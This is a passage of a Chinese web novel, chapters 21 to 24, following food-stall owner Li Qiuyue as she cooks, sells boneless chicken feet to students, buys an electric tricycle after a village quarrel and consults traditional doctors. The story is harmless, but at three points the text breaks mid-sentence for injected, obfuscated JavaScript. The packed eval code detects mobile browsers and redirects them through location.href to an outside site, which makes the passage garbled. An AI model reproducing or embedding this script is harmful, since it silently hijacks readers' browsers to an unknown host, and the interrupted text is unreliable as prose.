看到收款码上显示的小圈圈,黎秋月点点头转动了把手,小电驴刚刚拐弯,就听到收款的音效响起。 “绿信到账120~” 嗯?! 黎秋月一个转身回到小摊边,只看到了被风卷走的落叶。 21. 榨菜肉末面 买到了无骨鸡爪的大学生正在狂欢,表白墙即将迎来又一次屠版,李秋月一身寒气的到了家,不太想吃油脂凝固的剩肉,在满当当的冰箱里翻翻找找,摸出一小碗切好的肉末。 这是早上切出来的,当时要做什么黎秋月还没想好,现在却是帮了大忙。 葱姜蒜整片整个的入油锅翻炒后捞出,肉末带着两个小米辣进锅炒到变色,黎秋月撕开一包榨菜,一股脑的倒进锅里炒香,再倒半瓶热水进去烧开,放一把面条。 家里买的电热水壶还是十多年前买的,父母一直说等壶坏了就换成多功能的养生壶,结果直到现在,老式的热水壶和热水瓶还是老当益壮。 刚做好的榨菜肉末面很香也很烫,黎秋月不想傻等,索性去厨房给山药剥皮,等切成长条的山药进了电饭煲蒸煮,面条也降到了能入口的温度,黎秋月便抄起筷子来了一大口。 因为没有加其他的调料,面条的味道略显寡淡,但榨菜完美的弥补了这一点,一口咬下去发出脆响,咸鲜的汁水溢出来,加上时不时出现的肉末,黎秋月的嘴开开合合,一碗面很快见了底。 【应该再加点辣椒的。】 喝完最后一口汤,黎秋月有些遗憾的想到。 鲜是够鲜,要是能再辣点就完美了。 一碗面条下肚,山药也差不多蒸好了,黎秋月把山药拿出来晾凉,淋了两勺糖桂花上去,开吃! 没有糯米藕长期熬煮后的浑然一体,但小长方体的山药夹起来根根分明,入口软软糯糯,舌头一抿嘴里香香甜甜,却并不显得黏黏糊糊,而是清清爽爽。 两节山药不多,黎秋月也就当个零嘴,吃完便心满意足的洗漱睡觉,觉得人生还是很美好的。 美好个der! 电饭煲里倒水,下面蒸昨天吃剩的红烧肉,上面蒸加了热水的剩米饭,黎秋月面目狰狞的梳头,非常想把这三千烦恼丝给剃光! 为什么她都到另一个时空了,头发还是从发根就开始卷! 等等,头发好像是可以卖钱的! 原主最缺钱的时候也没想着卖头发,倒不是不愿意,而是根本没有这个头发也能换钱的概念,后面虽然有人提醒了,但原主心神俱损气血不足,连带着发质下降大量脱发。 再到理发店一问,及腰的头发贴着头皮剪,才肯出50! 原主受不了这种差价,琢磨着把头发养养再卖,然后就没有然后了。 黎秋月摸摸自己养的好了一些的头发,认真的思索要不要赚上一笔小钱,最后还是先养着,倒没什么高大上的原因,主要是冬天披着头发比较暖和。 龇牙咧嘴的把头发处理完,加热的饭菜也差不多好了,连饭带水加肉总共大半碗下去,黎秋月总算觉得肚子里有了些东西,能顶着寒风出门采购了。 “鸡爪在桌上,自己先剪指甲。” 黎秋月跟两个小时工说了一声,就又匆匆进了厨房,两位女士对视一眼,便坐下开始干活,只是心里都在猜测: 小老板又在做什么好吃的? 她们是不包吃的,黎秋月就算分菜她们也不会要,但不妨碍她们参考黎秋月的菜单,然后回头自己在家复刻。 小老板没注意到打工人的小心思,她正忙着撇掉排骨飞水时出来的浮沫。 黎秋月算是看明白了,这身子跟她原来一样一样的——要想早上就精精神神的,必须得吃肉! 黎秋月本来打算买纯肉,但挑来挑去也没找到几块满意的,倒是等到快走的时候,有个摊子摆出了一扇漂亮的肋排,黎秋月瞧着心动,买了几根让摊主剁碎,跟鸡爪一起带了回来,准备做个梅干菜烧排骨。 这菜不难做,只是有些琐碎,要先将排骨泡了血水,再冷水下锅撇掉浮沫,沥干水分后把调往排骨上浇了,抓匀腌制至少一刻钟,才能倒进葱姜蒜爆香后的锅里翻炒。 先下排骨后放梅干菜,黎秋月喜欢吃肉,所以故意将肉菜的比例调整成了五比一,要是放在游戏里,说明八成会是“我们在大量的排骨中发现了少量的梅干菜”。 黎秋月被自己无厘头的想法逗笑,又赶紧将注意力放到锅上,梅干菜和排骨已经被翻炒均匀,便再加一点生抽提鲜,放一点老抽调色,然后就是加水后的小火慢炖。 炖煮是慢工出细活,黎秋月也没干等着,直接开了另一个燃气灶,把剪好指甲的鸡爪焯水,再拿出去让两人剔骨。 她不担心两人偷懒,这两天的盆子端下来,她手上一掂量就知道大概分量,稍稍磨蹭些还行,太严重的摸鱼根本瞒不住。 水换到第四锅,梅干菜排骨的味道隔着盖子都一股股的飘出来,黎秋月揭开锅盖,跟水蒸气一起喷出来的香味差点将她冲晕过去,连带着外面的两人都动了动鼻子,眼神不自觉的瞥向厨房。 锅里的水差不多炖干了,黎秋月也没耽搁,撒了白糖进去大火收汁,一分钟后直接出锅,然后赶紧把注意力挪到焯水的鸡爪上,等收拾完第四锅鸡爪,才拿了筷子夹了块排骨进嘴巴—— 梅干菜和排骨就是天作之合! 排骨只有最中间的一根骨头,肉用牙齿轻轻一咬就被撕了下来,渗出来的汁水鲜的让黎秋月神情恍惚,黏上的一两根梅干菜更是神来之笔,增加了跟肉不同的嚼劲却不会喧宾夺主。 本来以为撒下去的糖会做出来甜口菜,没想到人家不是增甜,而是提鲜! 黎秋月连着吃了好几块,才依依不舍的端着鸡爪出去,然后抓紧时间煮了米饭,又将炒锅换了高压锅,准备炖个萝卜排骨汤。 她买的排骨可多了,一根直溜溜的用来做梅干菜炖排骨,长得不好看的,旁边有碎骨的都去熬汤! 仗着食材新鲜,黎秋月炖汤的时候就懒得讲究了,焯水以后的排骨跟萝卜全放到高压锅里,加水开火就不管了。 第五锅鸡爪焯完水,黎秋月叫个不停的高压锅从火上撤下来,两口灶一起开始给鸡爪飞水,忙完这一波高压锅的气也放光了,开锅撒盐尝尝咸淡——我的手艺可真好! 黎秋月在心里夸夸自己,电饭煲已经跳到保温一段时间了,黎秋月舀了小半碗米饭,就着汤吃了好几块梅干菜排骨,又把菜和汤放进老式电饭煲保温,才兴致勃勃的继续干活。 单口灶变双口,工作效率一下便提了上去,黎秋月加工完最后一锅鸡爪,总算是能悠哉的吃点东西。 刚刚的两三口是解馋的,现在才是正经进食。 黎秋月不担心这么吃会不健康——这身体缺营养的很,能吃就吃才是正理,什么后遗症在自己的小命前都得后退一射之地! 不过这么下去也不是个事儿,黎秋月琢磨着这次任务做完要去看看老中医,让专业人士悄悄情况。 还得多看几个,以免有半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14014607|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吊子装高手! 黎秋月一边琢磨行程一边完善计划表,结果发现最大的难点在于根本找不到可靠的中医……等等,她好想知道从哪里下手了! 花了一分钟捋了下计划,确定没有疏漏,黎秋月才开始享受午餐。 下午的时间全花在给鸡爪剔骨上,两个小时工干到四点,拿走了黎秋月的两百多块钱,黎秋月收了尾,将摆摊的东西准备好,见时针已经指向了数字四,便拎着东西出了门。 “再撑一撑,下个礼拜我们就不带这么多东西了。” 黎秋月心疼的拍拍小电驴的车灯,它真的为这个家付出了太多。 五点五十分,黎秋月艰难的到了大学门口,还没来得及把桶放到地上,就听到一声高呼: “老板来了!” 也就是眨眼的功夫,她就被连人带车的围了起来。 “发生了什么?” 黎秋月在一群人的包围下显得弱小可怜又无助,她有些无措的看向相对眼熟的舒南琴—— “老板,你火啦!” 这个眼光精准的大学生没让她失望,三言两语说明了事情的经过:黎秋月买的鸡爪太好吃,这次买到的人都控制不住自己的分享欲,于是黎秋月带着她的无骨鸡爪在表白墙上彻底出了名。 这些人都是等她出摊的。 “……不是,他们就这么相信了?” 黎秋月有些难以置信,她记得自己上大学的时候没这么天真啊。 “当然没有!” 舒南琴一边跟黎秋月说话,一边跟三个室友指挥人排队,还悄咪咪将自己放到了第一个。 “这些人都是尝过滋味的。” 无骨鸡爪的香味太浓,对着被吸引过来的室友好友,买到黎秋月产品的人虽然心痛,却也分了一些出去…… “还有十三斤,你们商量下怎么分。” 黎秋月这边十七斤的分量,舒南琴张嘴就给自己和室友按人头分了一斤,有些人不相信黎秋月只带了这么点,问黎秋月是不是真的。 黎秋月对着做出哀求姿势的狗狗眼少女能怎么办呢。 “只有十三斤。” 卖给谁都是一个价,况且她刚刚还听舒南琴聊八卦呢。 舒南琴见黎秋月配合,一下笑开了花,为了表示感谢,她还悄悄跟黎秋月说了昨天发生的名场面。 有个女生买了斤鸡爪,尝了一个就想去找闺蜜过来一起吃,结果闺蜜不在寝室,她就拎着鸡爪去了餐厅角落,拍照发给闺蜜。 点完餐以后女生想去上厕所,秉着大学生的信任没把鸡爪带走,回来的时候就看到闺蜜在自己男友的怀里,甜甜蜜蜜的吃着她的鸡爪。 “当时那个女生嗷的一声,直接把男友挠了个满脸花。” 舒南琴说的绘声绘色,就像亲眼见过一样。 “不过这不是重点,重点是那个被绿了的女生看着递过来的两百块买鸡爪的钱,冲着渣男大喊了一句——” “谁要你的臭钱,我只要我的鸡爪!” 舒南琴还有些情况没说出来,比如女生的闺蜜和男友其实已经交往很长一段时间了,这次本来是打算把鸡爪带走吃的,结果尝了一口以后就忘了这回事,才跟女生当面撞上了。 黎秋月的鸡爪能在校园大火特火,跟这个不知道是倒霉还是幸运的女生脱不了关系。 22. 双皮奶 13斤鸡爪看着不少,但跟四十多号消费者相比,的确有些杯水车薪,大学生们聚在一起叽叽喳喳,这边说宿舍好几个等着要多买,那边说我不差钱就想吃个过瘾,讨论许久都没有一个满意的分配方式。 最后有个戴发箍的女生不耐烦了,直接建议采用最粗暴的平均分配。 “要是有人觉得自己的数量太多,再把自己的分量让一部分出来给愿意多买的人。” 这个提议得到了大多数的人的赞同,有些人觉得不满意,却也不敢犯众怒。 “我们这边是47个人,一个人至少能分到二两七,要花32.4。” 发箍女生飞快的算出了平均数,继续说道。 “120一斤,一两就是12块,我刚刚悄悄看了,老板那边的一两鸡爪有三只,平均下来差不多4块一只,有人可能只是想尝尝味道,一两其实也差不多了。” 四十多人并不都是尝过鸡爪味道的,有大概三分之一的人只是看到了火爆的帖子出来找美食,然后混入尝过的大部队里的,虽然被香味吸引,但没入口也算不上多么执着。 他们其实只是想买点鸡爪尝尝,顶天不超过20块钱的那种,但发箍女生算出来的价钱显然超出了预算,又不想直说自己不想花这么多钱,发箍女生给出来的台阶刚刚好。 “我只打算尝尝味掉,买一两就行。” 一个男生率先开口,然后是第二个,第三个……最后买一两的人有十五个,买二两的人有三个。 “有谁想多买吗?” 发箍女生记下人数,再次开口问道。 “我要补足三两,好算钱。” “有多少我都要。” 剩下的人飞快的分成两派,20人觉得买3两就差不多了,剩下的人表示有多少要多少。 “那就是9人分4.9斤,一个人大概能分到五两四,无限循环我没算进去,因为老板那边不可能完全精准。” 发箍女生的话得到了所有人的赞同,为了表示感谢,他们想让本来属于队伍后半段的发箍女生排在第一位,却被发箍女生拒绝了。 “我想排最后一个。” 众人露出了疑惑的眼神,想不通为什么有人上赶着吃亏。 老板的抹零一般都是向下,比如50克的鸡爪给了53克,那肯定是按照50克的价钱来算,每个人多称几克,最后一位就会少上许多。 “我在那边约了七点的位置,要是去早了只能在门口等着,还不如在这边站着,起码看着有事可做。” 发箍女生有些不好意思的说道。 单纯的大学生们虽然觉得有哪里不对劲,但还是相信了这个理由,发箍女生心满意足的排到最后一位,悄悄扬起了嘴角。 她不是个热情的性子,但为了能多买到一点鸡爪,只能用一点小手段了。 “45克,10.8。” “47克,11.2。” “51克,12。” “44克,10.5。” …… “97克,23.2。” …… “147克,35.2。” …… “269克,64.5。” …… 黎秋月的动作很快,排队的大学生们却依旧觉得不对劲,但掏出手机算算价钱也没错,甚至黎秋月还给抹了零。 但怎么总觉得有什么地方被忽视了呢? 大学生们满脸迷茫的离开,直到摊前只剩下发箍女孩。 “剩下的我都要了。” 黎秋月应了一声,等所有的鸡爪都不再往下滴水后一称。 “358克,算你七两,84。” 发箍女孩利落的付了钱,满意的拎着袋子走人。 积少成多在减法上的确可观,但在加法上同样可观。 黎秋月并不知道鸡爪订单背后的勾心斗角,她回去后胡乱吃了些东西就睡着了,第二天难得赖了床。 【不用早起的日子可真美好啊。】 黎秋月裹着被子在床上滚了又滚,快中午的时候才懒洋洋的爬起来,慢吞吞的去冰箱找食吃。 冰箱上层没翻到什么合心意的吃食,倒是摸出一盒全脂牛奶,黎秋月暂时不太想喝牛奶,倒是对双皮奶有些兴趣。 想到就做。 黎秋月把牛奶剪开口子倒进老式电饭煲的内胆,然后直接把内胆放到灶火上加热,等牛奶快要冒大泡的时候果断关火,然后手上裹着湿抹布把电饭煲内胆拿起来,将里面的牛奶全都倒进碗里。 牛奶加热本来应该用专门的奶锅,但黎秋月家里没有,往锅里倒牛奶又怕上面飘一层油,只能用内胆平替,左右内胆也不是第一次上火,它经得住考验。 牛奶的质量不错,上面很快起了奶皮,黎秋月用筷子从旁边挑开一点,把牛奶尽可能倒出来跟鸡蛋清混合,加糖搅拌以后全部倒在奶皮上,然后用保鲜膜包好,隔水开蒸。 鸡蛋牛奶混合倒奶皮之前本来要用纱布过滤,黎秋月手上没有,索性捏了一把筷子在碗边缘,然后放慢动作,也没有多少泡沫跟着下去。 双皮奶蒸上十分钟左右就可以断电放凉,再放到冰箱冷藏后就能吃,不过现在天冷,双皮奶放不放冰箱影响不大。 一碗冰凉凉甜丝丝的双皮奶下肚,胃后知后觉的被唤醒,但黎秋月今天不想再下厨房,索性骑车去菜市场转一圈,抓点现成的吃食填饱肚皮。 菜市场离家二十分钟,黎秋月骑着车溜溜达达的就到了,路上有交警查头盔,不过跟她这个遵守交通规则的人无关。 “一碗粉,一个汤。” 菜市场的门口有家没名字的早餐店,黎秋月熟门熟路的进去,冲着老板喊了一声,就去另一边坐着了。 “好。” 这店是她从初中的时候就吃的,那个时候的老板还蹬着小三轮,她每次都是固定搭配,老板早就记住了。 拌粉和鸡蛋肉饼汤上的很快,只是分量是不是有点……黎秋月看着别人碗里的“平原”,再瞧瞧自己的“山尖”,最后还是没说什么,只是将粉和汤都吃的干干净净,悄悄扫了码走人。 “你怎么给她那么多粉?” 帮工寻着个空隙,低声问老板。 “那孩子不容易。” 帮工不明白,老板也没多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14023774|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,她忙的很,只是叮嘱帮工下次再看到黎秋月,还是按照这个分量给她做。 黎秋月带着鼓鼓的肚子在菜市场外面转了一圈,突然闻到一股奇香,她顺着香味走啊走,不知不觉就站在一个老太太的摊子前。 “要鸡蛋饼吗?” 老太太笑眯眯的问道,黎秋月毫不犹豫的点了点头。 “七块。” 鸡蛋和的面带着许多葱花,放在猪油底的平底锅上煎的滋滋响,直径足有一尺,煎成两面焦黄的模样后被卷起来,放纸袋套塑料袋递给黎秋月,黎秋月一口咬下去,便听到细微的脆响。 她实在撑得慌,尝了一口便再也吃不下去,于是将鸡蛋饼拎在手上,准备回头饿了的时候再热了吃。 外面没什么想买的,黎秋月便进了菜市场,走着走着便瞧上了带着漂亮花纹的香菇,准备回去做饺子汤。 芥菜香干切了做馅,用混沌皮包成饺子模样,一个个放到油里炸酥了,出锅便往那烧开的香菇汤里面一放,只要听到嗤啦一声,这饺子就能香掉你的魂! 出了菜场进商场,转了一圈也没找到合适的商品,最后还是骑着车去了养蜂人那边,买了两罐蜂蜜才回了家。 一下午的时间很快过去,黎秋月准时出摊,等待的大学生群体再次增加,在鸡爪数量没有增加的情况下,大学生们竞争的更加激烈了,舒南琴很幸运的抢到了最后一个名额,只是脸上带着点苦涩。 “还有半斤……” 黎秋月没说完就被舒南琴抢了话。 “我包圆!” 黎秋月应了声好,便利落的开始打包,舒南琴有一句没一句的跟黎秋月说话,黎秋月也只是默默听着。 “老板,真的不能便宜点吗,生活费要花完了……” 舒南琴知道这个味道的鸡爪卖这个价钱是在做慈善,但她的钱包真的支撑不起啊! 在最不宽裕的年纪遇到最想包圆的鸡爪,对舒南琴来说实在是太虐了…… “不能便宜。” 黎秋月依旧拒绝了降价请求,但看着女孩蔫巴巴的模样,她还是补充了一句。 “不过你不用担心生活费花完。” ? 舒南琴没明白黎秋月的意思,黎秋月把她的打包盒递过去,利落的收摊上电动车,然后做出解释。 “因为我明天就不来了。” 今天是鸡爪任务的最后一天,卖完就到美好的三天休息日了! “难怪你会……不来?!” 舒南琴应和到一半意识到不对,当场发出尖锐的爆鸣声。 “老板,你是开玩笑的对不对……” 舒南琴颤抖着声音问到,黎秋月只是摇摇头,乘舒南琴还没反应过来,一拧把手消失在拐角。 下班的时候果然不能拖延,不然会遭报应的。 黎秋月死鱼眼的看着别在她电驴面前的四轮车(可能是豪车但她认不出来),车窗缓缓下降,露出一张有点熟悉的脸。 “摊主,好久不见啊。” 钟桐举起手上的玩具木仓,按动击锤,木仓口喷出一道火苗。 想起来了,是那个打火机女孩。 23. 买电三轮 加班是不可能的。 黎秋月义正言辞的拒绝了钟桐的购买需求,并表示自己不会为她这段时间的情绪背锅。 “我也不知道下次会在哪里的什么时间卖东西,你逼我也没用。” 摆摊的时间地点都是系统决定,黎秋月没必要在这方面说谎,钟桐看得出土豆泥摊主说的是真的,所以更气了。 她怎么就摊上这么个随心所欲的摊主! “那加个绿信,你出摊的时候跟我说一声。” 去者不可追,虽然心痛自己错过的糯米藕和鸡爪,但她还能享受未来的美食,只要摊主加上她的好友…… “不加。” 黎秋月觉得自己很像个渣女,但不妨碍她的果断拒绝。 好不容易有了个安安静静的微信,她不想一天到晚听着手机叮叮咚咚,更不想每天警惕不知道什么时候就会冒出来的红点。 这对于一个强迫症来说实在是太残忍了! 钟桐气的要炸了! *** “果然还是鸡爪来钱快。” 黎秋月看着自己的余额满意的点点头,但想起之前打听到的小吃车价钱又没了笑。 昌南的小吃车包括设备在内至少需要七八千块,她的确能全款买下来,但流动资金基本就没有了。 况且黎秋月真正心水的也不是市面上的常见款式,而是更加少见的定制款,俗称加钱款,价钱多少还不确定,但肯定要比基础款高上一截。 “还是先买个三轮吧。” 黎秋月纠结许久,终于艰难的做下决定,所有的贷款都给她拉了黑名单,包括拼多多都把先用后付对她单独取消了,这钱只能慢慢攒。 要求一下降,选择就多了,前提是找对路子。 黎秋月在海鲜市场翻了半天,最后拎着一箱牛奶到了大伯家。 “三轮车?我记得阿华家里有一辆不用的,他说是想卖掉对吧。” 黎大伯想了想,转头问大妈。 “说是没赚到钱,前两天我路过他家院子的时候还看到了,三轮车蛮好的。” 大妈想了想,给出肯定的答案,她跟嫂子已经试着出摊了,虽然有着黎秋月的手把手教导,也只能说是站稳了脚跟。 没办法,原料选择差一些,火候把握差一些,制作过程差一些……每样看上去都只是有一些差距,但加起来的成品就是天上地下的区别了。 两人在厨艺上的天赋只能说是普通,想让吃食的美味程度继续上升,那就要花费大量的时间和成本,但现在都能赚钱了……黎秋月没再想下去,成年人有自己的选择。 “那麻烦大伯带我去看看。” 听到有现成的三轮车,黎秋月立马提出了看货的要求,大伯也没耽搁,骑着电动车直接把黎秋月带了过去。 然后她就失望了。 电三轮小就算了,续航里程短也有心理准备,但用了两年的续航30公里的三轮车要她六千块,是这个世界疯了还是她疯了? 黎大伯也觉得这个价钱太过分了,撸起袖子就开始跟人争论,但阿华的哥哥就是把价钱咬死了,黎秋月父母的事情早就因为借钱传遍了黎家村,阿华他哥对着黎秋月开炮,还故意揭人伤疤; “这个价钱哪里贵啦,三轮车这么多年都是这个价格好吧,不要睁着眼睛乱说,有的时候要找找你爸妈的原因,这么多年了有没有认真赚钱?” 哇,他明明可以直接抢的,居然还给她一辆三轮车,真是太好心了! 黎秋月额头上的青筋一根根冒了出来,她也不知道哪来的力气,将气紫了脸的大伯往后一拉,连推带搡的把他推出阿华家的院子,让他先上电动车等自己,就进了院子插上门栓,腰一插咧嘴一笑。 出口成脏模式,启动! 门外的大伯还在担心黎秋月,转眼就听到一阵高亢的女音,字字带刺句句带脏,三百六十度对阿华他哥进行无差别攻击,明明铁门后站着的是自家的小辈,大伯却在恍惚间看到了一个熟悉的小老太太。 旁边但凡有人的房子都悄悄开了窗,听着黎秋月转着圈的发射包括但不限于祖安语录的垃圾话,关键是攻击对象始终固定在阿华他哥身上,没有牵连任何一位无辜人士,令他们大为感动,悄悄发出称赞: “不愧是大学生,骂人都要强上一截!” 口是无骨剑,舌是斩身刀,黎秋月用行动证明了这两句话的正确性,刀刀不见血,字字扎命门,那对面原本还笑嘻嘻的阿华他哥脸色硬是从红变白还透黑,然后绿了吧唧儿紫不溜湫,很是让黎秋月看了一番稀奇。 不过变脸也不妨碍她接着骂! 里面的单方面输出持续了快半个钟,也许阿华他哥也有对喷,不过可能是被黎秋月的嗓子压下去了,反正大伯是没听到。 “大伯,快走。” 黎大伯一个没注意,自家侄女就噌一下溜了出来,跳上电动车后座拍着他的背连连催促,大伯放在车把上的手下意识一转,电动车就跟离弦的箭一样飞了出去,而在后视镜中,阿华他哥正狰狞着脸追过来。 黎大伯打了个哆嗦,也不要侄女催促了,电动车直接拧到底,远离后面那个不知道是不是还正常的货色。 “大伯,我们去奶奶那边,我要告状!” 黎秋月一边说一边拿出手机打大妈的电话,脸色阴沉的可怕,阿华他哥应该庆幸院子里没有合适的用具,不然黎秋月高低得给他脑袋加点装饰。 说归说,闹归闹,买卖不成仁义在,扯上父母是什么意思! 大伯也不知道有没有听清,反正车轱辘换了个方向,冲着爷爷奶奶的小楼跑去了。 “婆婆——” 电动车嘎吱一声停下,爷爷奶奶在拐角处跟人说话,黎秋月就那么大鸟依人的扑过去,一句话还没说完就憋不出哭音了。 “十六……怎么回事?谁惹了你?!” 小老太太本来笑眯眯的脸顿时严肃起来,抬头看向了是自己的大儿子。 “……就是这样,我又不是不给钱,他不卖就算了,还那么说,还追我……” 黎秋月一边哭一边口齿清晰的将事情复述出来,两个老人的脸顿时黑了,旁边的老人们听着也皱了眉,只觉得阿华家里越来越不像样了。 阿华家里的龌龊他们都知道些,阿华他哥是个没脑子的,总觉得家里的东西都是自己的,黎家老三的姑娘过去买阿华的电三轮,可不就捅了阿华哥的肺管子! “十六不怕,爷爷/婆婆在呢……” 两个老人轻言细语的安慰孙女,眼里全是寒气。 “乖,你不是要买电三轮吗,让大伯先带你去,那个人爷爷奶奶处理。” 二老把抹眼泪的十六哄上大儿子的电动车,转身就往阿华家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14032954|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的方向走,刚刚聊天的老人也纷纷跟了上去,准备见证黎家村第一泼的重出江湖。 没错,笑眯眯的小老太太当年也是个刀子嘴,嫁过来的第三天就凭借以妈为圆心,祖宗十八代为半径的经典祖安语录完成了分家的壮举,自此一战成名。 想当年上到九十九下到刚会走,但凡让黎爷爷吃亏的,哪个没被老太太的嘴给攻击过?就阿华家里那个说一不二的老太太,都在年轻的时候被黎奶奶骂的狗血淋头。 只是黎秋月出生以后,老太太想到粉嘟嘟的十六也会出口成脏就接受不能,于是自此修身养性,没想到几十年过去竟然真的有人会觉得黎家好欺负,还欺负到小老太太的心尖尖上了! 老太太气势汹汹的带着黎爷爷去找麻烦了,黎大伯则骑着电动车把黎秋月拉到了一个三轮车交易市场,到处都是电三轮的车行,雨棚和各种配套定制也随处可见。 “本来想着都是一个村子的,买三轮也方便……还是到这边选吧。” 黎大伯是想帮阿华的,但……黎秋月冲黎大伯笑了笑,便专心看车子去了。 “泡椒凤爪,鸡蛋灌饼,炒粉炒面,上饶烤鸭腿……” 很多车子还带着全套的招牌,黎秋月一个个念下去,竟然把小吃给凑了个七七八八。 “这辆。” 黎秋月指向一米五光秃秃的电三轮,黎大伯很快上来砍价,这些老板跟电脑城的一样奸诈,特别会看人下菜碟。 最后的成交价是1480,老板给换全新的电池,黎秋月价钱多安了两组电池,让续航达到100km。 出行距离50km怎么都够用了,除非要跨市摆摊。 配雨棚,定台面,买煤气,找架子……零零碎碎小一千又花了出去,黎秋月的三轮总算有了点模样。 这会是她很长一段时间的座驾,直到她全款买下定制小车。 “电动车我明天给你骑回去。” 三轮车装好,大伯就跟黎秋月道了别,黎秋月将电三轮骑到地下车库充电,自己往床上一趴就不动了。 她家的房子是有一个配套车位的,感谢财大气粗的贺兰姐,不然她还要专门租个车库。 【吃喝玩乐:想好下周卖什么了吗?】 【吃喝玩乐:……没有。】 人果然不能念叨。 小老太太的动作很快,晚上黎秋月就收到了声泪俱下的视频道歉,黎奶奶说等她来的时候让阿华他哥再当面赔罪,黎秋月很感动,决定下周去奶奶家转转。 只是单纯的想奶奶,跟阿华家没有任何关系。 周六,宜出行。 “熊阿姨好。” 黎秋月将装着蜂蜜罐子的袋子悄悄放到角落,有些拘束的坐下,两人东拉西扯的寒暄一通,黎秋月终于吐露了真实意图。 “熊阿姨,您知道南昌哪里的老中医比较擅长调养身子吗?” 这位是妈妈的同事,出了名的身体弱,每次休假不是在求医就是在求医的路上,黎秋月想找有真本事的医生,问她可比其他方法靠谱多了。 …… “谢谢熊阿姨,已经很晚了,我先走了。” 黎秋月带着记了新内容的手机离开,用导航排了个路程图,骑上小电驴就出发了! 两小时后。 白头发白胡子的高瘦老人把着脉,眉头一点一点皱起来。 24. 丝瓜炒油条 “你肾虚。” 老中医把了半天的脉,最后慢悠悠的说出来三个字。 “我是女的啊?” 黎秋月一脸懵,这种毛病难道不是男人才有吗?而且还会有标准套路:诊断出来说放屁,大夫能治叫神医。 “女的也是人,也有肾。” 老大夫翻个白眼怼了一句,直接被黎秋月给被带跑偏了。 “对哦。” 黎秋月反应过来也觉得自己傻,默默移开了视线,声音也有些飘忽。 “那您看我还有什么问题吗,要怎么调养?” 歪了的话题被重新带回来,第一个问题很好回答,老中医说了黎秋月的症状,每一条都对的上号。 第二个问题就有些为难,主要是黎秋月的古文基本都还给老师了,老中医的阴阳五行论只能听个半懂不懂,好在最关键的几句话都被成功接收。 “所以我现在的状态还行,吃不吃药都成,然后想吃什么就吃什么,没有忌口,但是最好多吃点肉?” 略过那些金木水火土的学说,黎秋月试探性的做了总结,见老中医点头,她顿时松了口气。 其它的都在其次,只要不忌口就好。 付了把脉费,黎秋月乘着上午还没过去,跑完了比较合适的几位老中医,得出的结论大同小异,也让她彻底放了心: 她的身体虽然是个筛子挂渔网,大小洞洞一个不少,但已经熬过了最难的那个坎,现在还年轻,好吃好喝多睡还是能补起来的。 开药也不是不行,但身体漏风的太厉害,效果只能说是聊胜于无,医生们的推荐都是以食补为主,然后按月过来诊脉看情况。 她现在不能过于疲惫和劳累,不能有太大的情绪波动,最好是顺心而为,吃喝方面没有忌口,但比较推荐高热量的食物,这么过上几年,亏损的根基自然就慢慢的养回来了。 人家大吃大喝是发胖,她大吃大喝是救命! 每个老中医都严厉批评了她昨天发火的行为,黎秋月骂的是痛快了,但身体消耗太大,好容易养起来一点的身子又到了垮塌的边缘,再来上两三回,就算是神仙下凡都保不住她一条小命! 黎秋月乖乖巧巧的点头,回去的路上就跟奶奶打了电话,重点说明昨天吵架对她身体的影响,当天晚上,黎秋月就看到了跟蜂蜜狗一样的阿华他哥的视频。 买车花了一天,看病花了一天,最后一天黎秋月睡了个懒觉,起来的时候也不想做饭,便冲了个酱油汤糊弄肚子。 紫菜撕碎放到碗里,滴两滴酱油,掐一小截葱叶,再把买来的海蜒拧了头在水下冲冲一起丢到碗里,最后用刚开的滚水一浇,香油瓶子在上面点点头,汤就算做好了。 海蜒的提醒和模样都跟小银鱼差不多,但它其实是幼年的鲳鱼,用滚水冲过后鲜中带韧,黎秋月慢悠悠的边喝边嚼,一碗汤下肚,人也就醒的差不多了。 慢悠悠的出门,连电动车也不骑,一步一蹭的到了附近的早餐店,叫了刚出锅的油条和麻圆,又要了一个糖果和瓦罐汤,就找了个空位坐下等吃。 油条咬在嘴里有细微的咔嚓脆响,放到瓦罐汤里泡一泡,尝到嘴里又是不同的好滋味,黎秋月吃了两口,便雨露均沾的盯上了麻圆。 麻圆是昌南当地的叫法,也有叫麻团,麻球的,现在很多都是加了豆沙的款式,但黎秋月还是偏好空心的,一口下去带着点甜味,酥脆的主要来源是外面沾的芝麻粒。 糖果好像是昌南特有的产物,类似油饼的外形,只是中间有两道划开的口子,看上去像是个胖嘟嘟的“曰”,酥脆与软嫩兼具,最关键的是每一个都甜而不腻,黎秋月从来没有踩过雷。 黎秋月起得晚,早餐店已经没有几个客人,铁丝网上还有好几根油条没卖出去,她让老板帮着复炸一回,便都买了下来,然后在小菜摊旁边停下。 